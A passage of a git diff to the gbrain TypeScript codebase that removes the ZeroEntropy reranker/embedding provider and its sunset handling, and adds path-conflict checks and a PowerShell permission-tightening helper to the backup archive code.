const bodyBytes = Buffer.byteLength(body, 'utf8');
if (bodyBytes > tp.max_payload_bytes) {
@@ -4790,7 +4377,7 @@ export async function rerank(input: RerankInput): Promise<RerankResult[]> {
headers.set('Content-Type', 'application/json');
// Budget admission happens HERE — after every preflight that can skip the
- // call (sunset short-circuit, no_key, unknown model, payload cap) and BEFORE
+ // call (no_key, unknown model, payload cap) and BEFORE
// the abort timer is armed, so a BudgetExhausted throw leaves no live timer.
// A reservation ahead of the preflights was never settled when they threw,
// leaking one projection per search on a keyless brain under a cost cap.
@@ -4864,8 +4451,7 @@ export async function rerank(input: RerankInput): Promise<RerankResult[]> {
}
const json: any = await resp.json();
// v0.46.3: two response dialects share the item shape {index,
- // relevance_score} but differ in the array key — ZE/llama-server return
- // `results[]`, Voyage's REST returns `data[]` ({object: "list", data:
+ // `results[]`, Voyage's REST returns `data[]` ({object: "list", data:
// [...]}, live-wire verified 2026-08-15; Voyage's Python SDK renames it
// `results`, which is why docs-level checks get this wrong). Accept both.
const items: any[] | null = Array.isArray(json?.results)
diff --git a/src/core/ai/model-resolver.ts b/src/core/ai/model-resolver.ts
index 21e345b7b0..0af288dfef 100644
--- a/src/core/ai/model-resolver.ts
+++ b/src/core/ai/model-resolver.ts
@@ -5,6 +5,7 @@
import type { ParsedModelId, Recipe, TouchpointKind, ChatTouchpoint, EmbeddingTouchpoint, ExpansionTouchpoint, RerankerTouchpoint } from './types.ts';
import { getRecipe, RECIPES } from './recipes/index.ts';
import { AIConfigError } from './errors.ts';
+import { renderCanonicalMigrationCommands } from './defaults.ts';
/**
* Split "openai:text-embedding-3-large" or "openai/text-embedding-3-large"
@@ -66,7 +67,7 @@ export function resolveRecipe(modelId: string): { parsed: ParsedModelId; recipe:
if (!recipe) {
throw new AIConfigError(
`Unknown provider: "${parsed.providerId}"`,
- `Known providers: ${[...knownProviderIds()].join(', ')}. Add a new recipe at src/core/ai/recipes/.`,
+ `Known providers: ${[...knownProviderIds()].join(', ')}. For stored embeddings, run gbrain migrate embeddings --status and preview an explicit migration with ${renderCanonicalMigrationCommands().recommendedDryRun}. Do not relabel existing vectors or change only the configured model. For reranking, select a supported model with gbrain config set search.reranker.model voyage:rerank-2.5.`,
);
}
// Apply alias if the modelId matches an alias key. Canonical wins.
diff --git a/src/core/ai/provider-env.ts b/src/core/ai/provider-env.ts
index 0699ca465b..ef68c7630f 100644
--- a/src/core/ai/provider-env.ts
+++ b/src/core/ai/provider-env.ts
@@ -35,7 +35,6 @@ export function mergedProviderEnv(
const fromConfig: Record<string, string> = {};
if (cfg?.openai_api_key) fromConfig.OPENAI_API_KEY = cfg.openai_api_key;
if (cfg?.anthropic_api_key) fromConfig.ANTHROPIC_API_KEY = cfg.anthropic_api_key;
- if (cfg?.zeroentropy_api_key) fromConfig.ZEROENTROPY_API_KEY = cfg.zeroentropy_api_key;
if (cfg?.openrouter_api_key) fromConfig.OPENROUTER_API_KEY = cfg.openrouter_api_key;
if (cfg?.voyage_api_key) fromConfig.VOYAGE_API_KEY = cfg.voyage_api_key;
if (cfg?.dashscope_api_key) fromConfig.DASHSCOPE_API_KEY = cfg.dashscope_api_key;
diff --git a/src/core/ai/recipes/dashscope-rerank.ts b/src/core/ai/recipes/dashscope-rerank.ts
index 155c20b569..3c5eabc8e4 100644
--- a/src/core/ai/recipes/dashscope-rerank.ts
+++ b/src/core/ai/recipes/dashscope-rerank.ts
@@ -1,30 +1,5 @@
import type { Recipe } from '../types.ts';
-/**
- * Alibaba DashScope (灵积) reranker. DashScope's OpenAI-compatible surface
- * splits by capability: embeddings live under `/compatible-mode/v1` (see the
- * sibling `dashscope` recipe) while rerank lives under `/compatible-api/v1`
- * with a PLURAL leaf — `POST {base}/reranks`. Wire shape matches ZeroEntropy:
- * request `{model, query, documents, top_n?}`, response
- * `{results: [{index, relevance_score}]}` — so it rides gateway.rerank()'s
- * native path with only the recipe-pluggable `path` override (v0.40.6.1).
- *
- * This is a SEPARATE recipe rather than a reranker touchpoint on `dashscope`
- * because the two capabilities need different base URLs (`compatible-mode`
- * vs `compatible-api`) and `provider_base_urls` is keyed by recipe id — one
- * recipe can't point embeddings and rerank at different prefixes. Same
- * topology precedent as llama-server vs llama-server-reranker.
- *
- * Live-verified against the China endpoint (2026-07): `/reranks` with
- * `qwen3-rerank` → 200 `results[].relevance_score`; `/rerank` (singular)
- * → 404; `gte-rerank-v2` → 404 "Unsupported model for OpenAI compatibility
- * mode" (native-API only, so it is deliberately NOT listed here).
- *
- * Note: the international endpoint requires a region-aware DASHSCOPE_API_KEY.
- * China-region users point at https://dashscope.aliyuncs.com/compatible-api/v1
- * via `provider_base_urls['dashscope-rerank']`, mirroring the embedding
- * recipe's convention.
- */
export const dashscopeRerank: Recipe = {
id: 'dashscope-rerank',
name: 'Alibaba DashScope (灵积, reranker)',
@@ -42,8 +17,6 @@ export const dashscopeRerank: Recipe = {
// rejects it ("Unsupported model for OpenAI compatibility mode").
models: ['qwen3-rerank'],
default_model: 'qwen3-rerank',
- // Mirror ZE's defensive per-request ceiling; gateway.rerank()
- // pre-flights body size and fails open.
max_payload_bytes: 5_000_000,
// PLURAL leaf under compatible-api — the whole reason this recipe
// exists. `${base_url}${path}` → `…/compatible-api/v1/reranks`.
diff --git a/src/core/ai/recipes/index.ts b/src/core/ai/recipes/index.ts
index 27cf6b08df..aa9d968e17 100644
--- a/src/core/ai/recipes/index.ts
+++ b/src/core/ai/recipes/index.ts
@@ -24,7 +24,6 @@ import { dashscope } from './dashscope.ts';
import { dashscopeRerank } from './dashscope-rerank.ts';
import { zhipu } from './zhipu.ts';
import { azureOpenAI } from './azure-openai.ts';
-import { zeroentropyai } from './zeroentropyai.ts';
import { llamaServerReranker } from './llama-server-reranker.ts';
import { nan } from './nan.ts';
import { moonshot } from './moonshot.ts';
@@ -52,7 +51,6 @@ const ALL: Recipe[] = [
dashscopeRerank,
zhipu,
azureOpenAI,
- zeroentropyai,
nan,
moonshot,
mistral,
diff --git a/src/core/ai/recipes/llama-server-reranker.ts b/src/core/ai/recipes/llama-server-reranker.ts
index 2f6e958b4f..6fa52938d4 100644
--- a/src/core/ai/recipes/llama-server-reranker.ts
+++ b/src/core/ai/recipes/llama-server-reranker.ts
@@ -1,36 +1,5 @@
import type { Recipe } from '../types.ts';
-/**
- * llama.cpp's `llama-server --reranking` exposes a cross-encoder reranker
- * over an OpenAI-style HTTP surface. Distinct from the sibling `llama-server`
- * recipe (which serves embeddings) because `--reranking` and `--embeddings`
- * are mutually exclusive at server-launch time — one process can't do both,
- * so two recipes with independent base URLs is the cleanest topology.
- *
- * Wire shape matches ZeroEntropy: request is `{model, query, documents,
- * top_n?}`, response is `{results: [{index, relevance_score}]}`. Path is
- * the only delta — llama-server serves `/rerank` under its `/v1` prefix.
- * Because the recipe's `base_url_default` already ends in `/v1` (matching
- * the convention every other openai-compat recipe uses), the touchpoint
- * `path` here is the LEAF only (`/rerank`); the gateway concatenates
- * `${base_url}${path}` to produce the actual `…/v1/rerank` URL.
- *
- * Like the embedding recipe, this ships with `models: []` because the model
- * identity is whatever the user launched llama-server with. Users MUST set
- * `search.reranker.model llama-server-reranker:<id>` where `<id>` matches
- * the `--alias` they passed at launch — without `--alias`, `/v1/models`
- * defaults the id to the gguf file path, which makes provider:model strings
- * ugly. The setup_hint guides them.
- *
- * Reference:
- * https://github.com/ggml-org/llama.cpp/blob/master/tools/server/README.md
- *
- * Covers two user-facing cases:
- * - Qwen3-Reranker (0.6B / 4B / 8B) GGUF via llama.cpp
- * - ZeroEntropy zerank-2 / zerank-1-small self-hosted via llama.cpp
- * (FEASIBLE — wire shapes match — but quality parity with ZE-hosted is
- * NOT guaranteed; users self-hosting ZE should pin their own eval)
- */
export const llamaServerReranker: Recipe = {
id: 'llama-server-reranker',
name: 'llama.cpp llama-server (reranker, local)',
@@ -58,8 +27,6 @@ export const llamaServerReranker: Recipe = {
// costs electricity, not tokens.
cost_per_1m_tokens_usd: 0,
price_last_verified: '2026-05-23',
- // Match ZE's per-request cap; llama.cpp has no upstream cap of its
- // own but the pre-flight guard is a defensive ceiling.
max_payload_bytes: 5_000_000,
// Leaf-only path. `base_url_default` already provides the `/v1`
// prefix; the gateway concatenates the two to call `…/v1/rerank`.
diff --git a/src/core/ai/recipes/openrouter.ts b/src/core/ai/recipes/openrouter.ts
index 2dc6e97e76..3b24636d8c 100644
--- a/src/core/ai/recipes/openrouter.ts
+++ b/src/core/ai/recipes/openrouter.ts
@@ -300,8 +300,6 @@ export const openrouter: Recipe = {
// `cost_per_search_usd` field for exact accounting.
cost_per_1m_tokens_usd: 0.001,
price_last_verified: '2026-06-13',
- // OpenRouter doesn't publish an explicit payload cap; 5MB matches
- // ZeroEntropy's upstream limit and the gateway's pre-flight ceiling.
max_payload_bytes: 5_000_000,
// OR serves /rerank under /api/v1. base_url_default already ends in /v1,
// so gateway concatenates to …/api/v1/rerank.
diff --git a/src/core/ai/recipes/voyage.ts b/src/core/ai/recipes/voyage.ts
index 7424df5b1e..bdecdd03b0 100644
--- a/src/core/ai/recipes/voyage.ts
+++ b/src/core/ai/recipes/voyage.ts
@@ -65,12 +65,6 @@ export const voyage: Recipe = {
// 4xx).
multimodal_models: ['voyage-multimodal-3'],
},
- // v0.46.3: Voyage reranking (the recommended zerank-2 replacement — same
- // VOYAGE_API_KEY as embeddings). gateway.rerank() posts to
- // `${base_url_default}/rerank` (base already ends in /v1). Wire dialect:
- // request takes `top_k` (declared via top_param); response is
- // {object: "list", data: [{index, relevance_score}]} — live-wire verified
- // 2026-08-15; the gateway's parser accepts both data[] and results[].
reranker: {
// #4938: rerank-3 / rerank-3-lite are Voyage's preview generation on the
// same /rerank wire (path + top_param unchanged). default_model stays
@@ -86,10 +80,6 @@ export const voyage: Recipe = {
// through src/core/embedding-pricing.ts; this scalar is a display hint.
cost_per_1m_tokens_usd: 0.05,
price_last_verified: '2026-09-06',
- // Voyage enforces token-based caps (32K per query+document pair,
- // ≤1000 documents/request) rather than a byte cap; 5MB is a
- // conservative byte-level proxy matching the ZE-era pre-flight so
- // oversized bodies still fail open before the wire.
max_payload_bytes: 5_000_000,
},
},
diff --git a/src/core/ai/recipes/zeroentropyai.ts b/src/core/ai/recipes/zeroentropyai.ts
deleted file mode 100644
index f20b52435a..0000000000
--- a/src/core/ai/recipes/zeroentropyai.ts
+++ /dev/null
@@ -1,84 +0,0 @@
-import type { Recipe } from '../types.ts';
-import {
- ZEROENTROPY_SUNSET_DATE,
- NEW_INSTALL_DEFAULT_EMBEDDING_MODEL,
- NEW_INSTALL_DEFAULT_RERANKER_MODEL,
-} from '../defaults.ts';
-
-/**
- * ZeroEntropy ships two specialized small models that target the two weakest
- * retrieval moments in a gbrain pipeline:
- *
- * - zembed-1 — flexible-dim embedding (2560 default; also 1280/640/320/160/80/40),
- * distilled from zerank-2, 32K context. Asymmetric `input_type: query|document`
- * encoding (like Voyage and MiniMax). $0.025/1M tokens (sale) / $0.05 regular.
- *
- * - zerank-{2,1,1-small} — cross-encoder rerankers. zerank-2 is flagship;
- * multilingual + instruction-following; $0.025/1M tokens.
- *
- * Endpoints (from docs.zeroentropy.dev):
- * POST https://api.zeroentropy.dev/v1/models/embed
- * POST https://api.zeroentropy.dev/v1/models/rerank
- *
- * The AI-SDK openai-compatible adapter calls `${base_url}/embeddings` — wrong
- * path for ZE. `zeroEntropyCompatFetch` in gateway.ts rewrites the URL path to
- * `/models/embed`, injects `input_type` (default 'document') + explicit
- * `encoding_format: 'float'`, and rewrites the response shape from
- * `{results: [{embedding}]}` to `{data: [{embedding, index}]}` so the SDK's
- * Zod schema validates. Response carries `usage.prompt_tokens = total_tokens`
- * because ZE's response has no prompt_tokens field (Voyage's shim hit the
- * same SDK schema requirement at gateway.ts:655).
- *
- * The reranker side uses gateway.rerank() (a native HTTP path) — the AI SDK
- * has no reranking abstraction so there's no openai-compat seam to plug into.
- * `touchpoints.reranker` declares the model allowlist and 5MB payload cap.
- */
-export const zeroentropyai: Recipe = {
- id: 'zeroentropyai',
- name: 'ZeroEntropy',
- tier: 'openai-compat',
- implementation: 'openai-compatible',
- base_url_default: 'https://api.zeroentropy.dev/v1',
- auth_env: {
- required: ['ZEROENTROPY_API_KEY'],
- setup_url: 'https://dashboard.zeroentropy.dev',
- },
- touchpoints: {
- embedding: {
- models: ['zembed-1'],
- default_dims: 2560,
- // ZE rate-limits free tier at 500KB/min input; max payload 5MB/request.
- // Pre-split budget = 120K tokens × 0.5 safety × 1 char/token ≈ 60K chars
- // per batch, same dense-content hedge Voyage uses.
- max_batch_tokens: 120_000,
- chars_per_token: 1,
- safety_factor: 0.5,
- supports_multimodal: false,
- cost_per_1m_tokens_usd: 0.05,
- price_last_verified: '2026-05-14',
- },
- reranker: {
- models: ['zerank-2', 'zerank-1', 'zerank-1-small'],
- default_model: 'zerank-2',
- cost_per_1m_tokens_usd: 0.025,
- price_last_verified: '2026-05-14',
- // ZE enforces 5MB per /v1/models/rerank request. gateway.rerank()
- // pre-flights the body size and fails open (no throw to caller).
- max_payload_bytes: 5_000_000,
- },
- },
- setup_hint:
- 'Get an API key at https://dashboard.zeroentropy.dev, then `export ZEROENTROPY_API_KEY=...`',
- // ZeroEntropy is winding down; the hosted API dies on the sunset date.
- // This drives picker/auto-pick exclusion, warn-on-use, and the
- // `gbrain providers` DEPRECATED annotation. The recipe itself is deleted
- // in the September removal release (see TODOS.md).
- sunset: {
- date: ZEROENTROPY_SUNSET_DATE,
- message: 'ZeroEntropy is shutting down its hosted API.',
- replacement: {
- embedding: NEW_INSTALL_DEFAULT_EMBEDDING_MODEL,
- reranker: NEW_INSTALL_DEFAULT_RERANKER_MODEL,
- },
- },
-};
diff --git a/src/core/ai/reranker-readiness-engine.ts b/src/core/ai/reranker-readiness-engine.ts
index a31acca16d..3cc4c7612f 100644
--- a/src/core/ai/reranker-readiness-engine.ts
+++ b/src/core/ai/reranker-readiness-engine.ts
@@ -29,13 +29,12 @@ export interface EngineReadiness {
export async function rerankerReadinessForEngine(
engine: DbPlaneEngineReader,
model: string,
- opts: { now?: Date } = {},
): Promise<EngineReadiness> {
try {
const gw = requireConfig();
return {
plane: 'gateway',
- readiness: rerankerReadiness(model, gw.env ?? {}, { now: opts.now, baseUrlOverrides: gw.base_urls ?? null }),
+ readiness: rerankerReadiness(model, gw.env ?? {}, { baseUrlOverrides: gw.base_urls ?? null }),
};
} catch {
// Gateway not configured — build the plane the CLI would.
@@ -47,7 +46,6 @@ export async function rerankerReadinessForEngine(
return {
plane: 'config',
readiness: rerankerReadiness(model, mergedProviderEnv(mergedCfg, process.env), {
- now: opts.now,
baseUrlOverrides: mergedCfg?.provider_base_urls ?? null,
}),
};
diff --git a/src/core/ai/reranker-readiness.ts b/src/core/ai/reranker-readiness.ts
index 071989dc19..ba90946468 100644
--- a/src/core/ai/reranker-readiness.ts
+++ b/src/core/ai/reranker-readiness.ts
@@ -1,31 +1,6 @@
-/**
- * Pure reranker readiness — the ONE predicate behind "is the reranker actually
- * running?" for `gbrain search modes`, `gbrain doctor`'s `reranker_health`
- * check, and init's reranker-default write (v0.48.2).
- *
- * Why a leaf: init cannot use the gateway (it runs before `configureGateway`)
- * and must not pull provider SDKs; doctor and the modes dashboard want the
- * same answer the gateway will give at search time. So this module takes the
- * env snapshot from the CALLER (gateway `cfg.env`; doctor/modes
- * `mergedProviderEnv(await loadConfigWithEngine(engine, loadConfig()), process.env)`
- * — the DB-merged plane, because the CLI folds DB-plane provider keys into
- * the gateway too; init `mergedProviderEnv(loadConfigFileOnly(), process.env)`)
- * and never reads `process.env` itself. A `provider_base_urls` override for
- * the provider marks it self-hosted, so a passed sunset does not block. `test/ai/reranker-readiness.test.ts` pins that this
- * predicate and `isAvailable('reranker', model)` agree on an env matrix so
- * the two cannot drift.
- *
- * configured ──▶ recipe known? ──▶ touchpoint? ──▶ model listed? ──▶ key present?
- * │ │ no │ no │ no │ no
- * │ ▼ ▼ ▼ ▼
- * │ ready=false ready=false ready=false NO_KEY (fail-open
- * │ (fix: set a valid provider:model) at search time)
- * └── sunset passed (zeroentropyai:* on/after 2026-09-04) ──▶ SUNSET (short-circuit)
- */
-
import { getRecipe } from './recipes/index.ts';
import { parseModelId } from './model-resolver.ts';
-import { DEFAULT_RERANKER_MODEL, rerankerSunset, sunsetDateHasPassed, type RerankerSunset } from './defaults.ts';
+import { DEFAULT_RERANKER_MODEL } from './defaults.ts';
export interface RerankerReadiness {
/** The provider:model string that was evaluated. */
@@ -44,40 +19,25 @@ export interface RerankerReadiness {
requiredKey: string | null;
/** Every required key is present in the caller-supplied env. */
keyPresent: boolean;
- /** Sunset entry when the model family has an announced shutdown, else null. */
- sunset: RerankerSunset | null;
- /** The sunset date is today or in the past. */
- sunsetPassed: boolean;
- /**
- * A base-URL override routes this provider id to a self-hosted
- * wire-compatible endpoint (`provider_base_urls.<provider>` on any config
- * plane) — the hosted shutdown does not apply, exactly as the gateway's
- * short-circuit suppression treats it.
- */
selfHosted: boolean;
- /** The sunset actually blocks calls: passed AND not self-hosted. */
- sunsetBlocks: boolean;
/** Everything above is green: a rerank call would actually be issued. */
ready: boolean;
}
export interface RerankerReadinessOpts {
- /** Clock for the sunset comparison (tests inject a fixed date). */
- now?: Date;
/** Provider ids with a base-URL override (self-hosted endpoints). */
baseUrlOverrides?: Record<string, string | undefined> | null;
}
/**
* Evaluate readiness for `model` against `env`. Pure; never throws;
- * `opts.now` defaults to the wall clock (tests pass a fixed date).
+
*/
export function rerankerReadiness(
model: string,
env: Record<string, string | undefined>,
opts: RerankerReadinessOpts = {},
): RerankerReadiness {
- const now = opts.now ?? new Date();
let provider = '';
let modelId = '';
try {
@@ -98,10 +58,7 @@ export function rerankerReadiness(
// accepted wherever the gateway accepts it.
const canonicalModelId = recipe?.aliases?.[modelId] ?? modelId;
const listed = !!tp && (tp.models.length === 0 || tp.models.includes(canonicalModelId));
- const sunset = rerankerSunset(model);
- const sunsetPassed = !!sunset && sunsetDateHasPassed(sunset.date, now);
const selfHosted = !!provider && !!opts.baseUrlOverrides?.[provider];
- const sunsetBlocks = sunsetPassed && !selfHosted;
return {
model,
provider,
@@ -112,11 +69,8 @@ export function rerankerReadiness(
// Name the key that is actually missing (multi-key recipes), else the first.
requiredKey: needsEnvKey ? (required.find((k) => !env[k]) ?? required[0]!) : null,
keyPresent,
- sunset,
- sunsetPassed,
selfHosted,
- sunsetBlocks,
- ready: !!recipe && !!tp && listed && keyPresent && !sunsetBlocks,
+ ready: !!recipe && !!tp && listed && keyPresent,
};
}
@@ -127,12 +81,6 @@ export function rerankerReadiness(
*/
export function describeRerankerFix(r: RerankerReadiness): string | null {
if (r.ready) return null;
- if (r.sunsetBlocks && r.sunset) {
- return (
- `${r.model} passed its ${r.sunset.date} provider sunset — switch: ` +
- `gbrain config set search.reranker.model ${r.sunset.replacement}`
- );
- }
if (!r.recipeKnown || !r.hasTouchpoint || !r.modelListed) {
return (
`${r.model} is not a known reranker (provider:model) — set one: ` +
diff --git a/src/core/ai/types.ts b/src/core/ai/types.ts
index 2ce37adaf9..9851e20936 100644
--- a/src/core/ai/types.ts
+++ b/src/core/ai/types.ts
@@ -137,16 +137,7 @@ export interface EmbeddingTouchpoint {
* for shorthand `--model <provider>` and prints a setup hint.
*/
user_provided_models?: true;
- /**
- * #2271: trust a user-supplied `--embedding-dimensions` for this recipe even
- * when it's not in the known-Matryoshka allowlist. Set ONLY on local /
- * bring-your-own-backend recipes where the user knows their model's native dim
- * and we can't enumerate every model (ollama, llama-server, litellm). The
- * provider's `/embeddings` response-dim validation catches a genuine mismatch
- * pre-storage. Must NOT be set on fixed-dim hosted providers (openai/voyage/
- * zeroentropy stay fail-closed) or on recipes that declare recipe-wide
- * `dims_options` (e.g. openrouter, whose Tier-1 options legitimately govern).
- */
+
trust_custom_dims?: true;
/**
* v0.32 (#779 reworked): explicit opt-out of the missing-max_batch_tokens
@@ -255,20 +246,9 @@ export interface RerankerTouchpoint {
cost_per_1m_tokens_usd?: number;
price_last_verified?: string;
max_payload_bytes: number;
- /**
- * Override the rerank URL path. Defaults to '/models/rerank' (ZeroEntropy's
- * legacy path; ZE-compatible-wire-shape providers like llama.cpp set
- * '/v1/rerank').
- */
+
path?: string;
- /**
- * v0.46.3: request-body key for the "return top N" parameter. Named by wire
- * shape, not provider. Defaults to 'top_n' (ZeroEntropy/llama-server/jina
- * dialect); Voyage's /v1/rerank takes 'top_k'. Response parsing accepts
- * both array keys (`results[]` for ZE/llama-server, `data[]` for Voyage's
- * REST — live-wire verified) since the item shape
- * `{index, relevance_score}` is shared.
- */
+
top_param?: 'top_n' | 'top_k';
/**
* Recipe-level timeout fallback for `gateway.rerank()` and search-mode
@@ -371,27 +351,6 @@ export interface Recipe {
aliases?: Record<string, string>;
/** One-line description of setup (shown in wizard + env subcommand). */
setup_hint?: string;
- /**
- * v0.46.3: the provider announced a hosted-API shutdown. Drives, from one
- * source: init picker/auto-pick exclusion, the once-per-process warn-on-use
- * in the gateway, and the `gbrain providers` DEPRECATED annotation.
- * (`provider_sunset` in doctor stays provider-specific until the removal
- * release — this field does not make the doctor generic yet.)
- * `replacement` is per-touchpoint: one provider can be replaced by different
- * targets for embedding vs reranking.
- */
- sunset?: {
- /** ISO date the hosted API stops working. */
- date: string;
- /** Optional extra context appended to warnings. */
- message?: string;
- replacement?: {
- /** Recommended `provider:model` replacement for the embedding touchpoint. */
- embedding?: string;
- /** Recommended `provider:model` replacement for the reranker touchpoint. */
- reranker?: string;
- };
- };
/**
* v0.32 (D12=A): unified auth resolver across embed / expansion / chat
* touchpoints. Returns the header name (`Authorization`, `api-key`, etc.)
@@ -489,6 +448,7 @@ export interface Recipe {
export interface AIGatewayConfig {
/** Current embedding model as "provider:modelId" (e.g. "openai:text-embedding-3-large"). */
embedding_model?: string;
+ embedding_identity_unverified?: boolean;
/** Target embedding dims. Gateway asserts returned embeddings match this. */
embedding_dimensions?: number;
/**
@@ -508,12 +468,7 @@ export interface AIGatewayConfig {
expansion_model?: string;
/** Default chat model for `gateway.chat()` callers (subagent default). */
chat_model?: string;
- /**
- * v0.35.0.0+: default reranker model for `gateway.rerank()` callers. As
- * `'provider:model'` (e.g. `'zeroentropyai:zerank-2'`). Resolved at
- * configure time and re-resolved by reconfigureGatewayWithEngine() when
- * mode-bundle or config-key overrides change.
- */
+
reranker_model?: string;
/**
* Optional silent-refusal fallback chain ("provider:modelId" entries).
diff --git a/src/core/backup/archive.ts b/src/core/backup/archive.ts
index 8e4f561655..5879f6c228 100644
--- a/src/core/backup/archive.ts
+++ b/src/core/backup/archive.ts
@@ -2,7 +2,8 @@
import { createHash, randomUUID } from 'node:crypto';
import { closeSync, fsyncSync, fstatSync, linkSync, mkdirSync, openSync, readSync, unlinkSync, writeSync } from 'node:fs';
import { dirname } from 'node:path';
-import { AgentInstallError, assertNoSymlinks, confinedPath, syncDirectory } from '../agent-install/state.ts';
+import { AgentInstallError, assertNoSymlinks, checkedRelativePath, confinedPath, syncDirectory } from '../agent-install/state.ts';
+import { protectNewBackupPath } from './private-path.ts';
const MAGIC = Buffer.from('GBRAIN-BACKUP-1\n');
const MAX_MANIFEST = 8 * 1024 * 1024;
@@ -57,13 +58,10 @@ export function hashFile(file: string): { size: number; sha256: string } {
}
/** Publication uses link(2), which refuses an existing target atomically. */
-export function writeBackupArchive(output: string, metadata: Record<string, unknown>, files: ArchiveInput[]): ArchiveManifest {
+export async function writeBackupArchive(output: string, metadata: Record<string, unknown>, files: ArchiveInput[]): Promise<ArchiveManifest> {
assertNoSymlinks(output);
- const paths = new Set<string>();
const entries = files.map(input => {
- confinedPath('/archive', input.path);
- if (paths.has(input.path)) fail('Duplicate archive entry.');
- paths.add(input.path);
+ checkedRelativePath(input.path);
const actual = hashFile(input.file);
if (input.expected && (actual.size !== input.expected.size || actual.sha256 !== input.expected.sha256)) fail('A file changed after the database snapshot; quiesce writers and retry.');
return { path: input.path, ...actual };
@@ -76,6 +74,7 @@ export function writeBackupArchive(output: string, metadata: Record<string, unkn
const temporary = `${output}.partial-${randomUUID()}`;
const fd = openSync(temporary, 'wx', 0o600);
try {
+ await protectNewBackupPath(temporary, 'file');
writeAll(fd, MAGIC); writeAll(fd, sizeHeader); writeAll(fd, encoded);
const buffer = Buffer.alloc(1024 * 1024);
for (let i = 0; i < files.length; i++) {
@@ -103,17 +102,28 @@ function validateManifest(input: unknown): asserts input is ArchiveManifest {
const value = input as ArchiveManifest;
if (!value || value.format_version !== 1 || !Array.isArray(value.entries) || !value.entries.length || value.entries.length > MAX_FILES) fail('Unsupported backup format or file inventory.');
let total = 0;
- const paths = new Set<string>();
+ const paths = new Map<string, { path: string; directory: boolean }>();
for (const entry of value.entries) {
if (!entry || typeof entry.path !== 'string' || !Number.isSafeInteger(entry.size) || entry.size < 0 || !/^[a-f0-9]{64}$/.test(entry.sha256)) fail('Invalid backup entry.');
- confinedPath('/archive', entry.path);
- if (paths.has(entry.path)) fail('Duplicate backup path.');
- paths.add(entry.path);
+ checkEntryPath(paths, entry.path, false);
total += entry.size;
}
if (total > MAX_BYTES) fail('Backup exceeds the 8 GiB recovery limit.');
}
+function checkEntryPath(paths: Map<string, { path: string; directory: boolean }>, path: string, directory: boolean): void {
+ checkedRelativePath(path);
+ const parts = path.split('/');
+ for (let i = 1; i <= parts.length; i++) {
+ const prefix = parts.slice(0, i).join('/');
+ const key = prefix.normalize('NFC').toLowerCase();
+ const previous = paths.get(key);
+ const parent = i < parts.length;
+ if (previous && (previous.path !== prefix || !previous.directory || (!parent && !directory))) fail('Duplicate or conflicting backup path.');
+ paths.set(key, { path: prefix, directory: parent || directory });
+ }
+}
+
/** Extract ONLY into a caller-created private, empty staging directory. */
export function readBackupArchive(archive: string, destination: string): ArchiveManifest {
assertNoSymlinks(archive);
@@ -158,6 +168,7 @@ export function extractPgliteDump(file: string, destination: string): void {
const length = fstatSync(fd).size;
let offset = 0;
const seen = new Set<string>();
+ const paths = new Map<string, { path: string; directory: boolean }>();
try {
while (offset + 512 <= length) {
const header = readExactly(fd, 512, offset); offset += 512;
@@ -185,9 +196,10 @@ export function extractPgliteDump(file: string, destination: string): void {
const path = raw.replace(/^\//, '').replace(/\/$/, '');
const type = header[156]; const size = octal(124, 136);
if (type !== 48 && type !== 53 && type !== 0) fail('PGLite tar contains an unsupported entry type.');
- if (!path && type === 53) continue;
- const target = confinedPath(destination, path);
+ if (!path && type === 53 && (raw === '/' || raw === '')) continue;
if (seen.has(path)) fail('Duplicate PGLite tar entry.');
+ checkEntryPath(paths, path, type === 53);
+ const target = confinedPath(destination, path);
seen.add(path);
if (seen.size > MAX_FILES || offset + size > length) fail('PGLite tar exceeds bounds.');
// Node-backed dumpDataDir also sees GBrain's live owner lock. It is a
diff --git a/src/core/backup/private-path.ts b/src/core/backup/private-path.ts
new file mode 100644
index 0000000000..e0f2b078d4
--- /dev/null
+++ b/src/core/backup/private-path.ts
@@ -0,0 +1,71 @@
+import { execFile } from 'node:child_process';
+import { lstatSync, readdirSync } from 'node:fs';
+import { join } from 'node:path';
+import { AgentInstallError, assertNoSymlinks } from '../agent-install/state.ts';
+
+const protect = `
+$ErrorActionPreference = 'Stop'
+$path = $env:GBRAIN_BACKUP_PRIVATE_PATH
+if ($env:GBRAIN_BACKUP_PRIVATE_KIND -notin @('directory', 'file')) { throw 'Unexpected path kind' }
+$directory = $env:GBRAIN_BACKUP_PRIVATE_KIND -eq 'directory'
+$user = [System.Security.Principal.WindowsIdentity]::GetCurrent().User
+$sids = @($user.Value)
+if ($user.Value -ne 'S-1-5-18') { $sids += 'S-1-5-18' }
+$attributes = [IO.File]::GetAttributes($path)
+if (($attributes -band [IO.FileAttributes]::ReparsePoint) -ne 0 -or (($attributes -band [IO.FileAttributes]::Directory) -ne 0) -ne $directory) { throw 'Unexpected path type' }
+if ($directory) {
+ if ([IO.Directory]::GetFileSystemEntries($path).Length -ne 0) { throw 'Directory is not empty' }
+ $acl = [System.Security.AccessControl.DirectorySecurity]::new()
+ $inheritance = [System.Security.AccessControl.InheritanceFlags]'ContainerInherit, ObjectInherit'
+} else {
+ if ([IO.FileInfo]::new($path).Length -ne 0) { throw 'File is not empty' }
+ $acl = [System.Security.AccessControl.FileSecurity]::new()
+ $inheritance = [System.Security.AccessControl.InheritanceFlags]::None
+}
+$acl.SetOwner($user)
+$acl.SetAccessRuleProtection($true, $false)
+foreach ($sid in $sids) {
+ $identity = [System.Security.Principal.SecurityIdentifier]::new($sid)
+ $rule = [System.Security.AccessControl.FileSystemAccessRule]::new($identity, [System.Security.AccessControl.FileSystemRights]::FullControl, $inheritance, [System.Security.AccessControl.PropagationFlags]::None, [System.Security.AccessControl.AccessControlType]::Allow)
+ $acl.AddAccessRule($rule)
+}
+if ($directory) { [IO.Directory]::SetAccessControl($path, $acl) } else { [IO.File]::SetAccessControl($path, $acl) }
+$actual = if ($directory) { [IO.Directory]::GetAccessControl($path) } else { [IO.File]::GetAccessControl($path) }
+if (!$actual.AreAccessRulesProtected -or $actual.GetOwner([System.Security.Principal.SecurityIdentifier]).Value -ne $user.Value) { throw 'Owner or inheritance mismatch' }
+$rules = @($actual.GetAccessRules($true, $true, [System.Security.Principal.SecurityIdentifier]))
+if ($rules.Count -ne $sids.Count) { throw 'Unexpected access rules' }
+$seen = @{}
+foreach ($rule in $rules) {
+ if ($rule.IsInherited -or $sids -notcontains $rule.IdentityReference.Value -or $seen.ContainsKey($rule.IdentityReference.Value) -or $rule.AccessControlType -ne 'Allow' -or $rule.FileSystemRights -ne 'FullControl' -or $rule.InheritanceFlags -ne $inheritance -or $rule.PropagationFlags -ne 'None') { throw 'Access rule mismatch' }
